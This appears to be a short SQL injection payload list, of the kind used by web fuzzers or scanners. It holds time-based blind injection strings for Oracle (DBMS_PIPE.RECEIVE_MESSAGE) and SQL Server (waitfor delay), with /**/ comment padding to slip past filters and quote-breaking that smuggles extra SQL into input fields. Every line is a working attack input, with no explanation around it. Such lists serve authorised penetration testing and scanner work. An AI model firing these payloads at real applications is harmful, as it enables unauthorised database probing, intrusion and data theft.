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'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('k',0)='k
;waitfor/**/delay'0:0:2'/**/--/**/
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g
;waitfor/**/delay'0:0:0'/**/--/**/
'and(select+1)>0waitfor/**/delay'0:0:2
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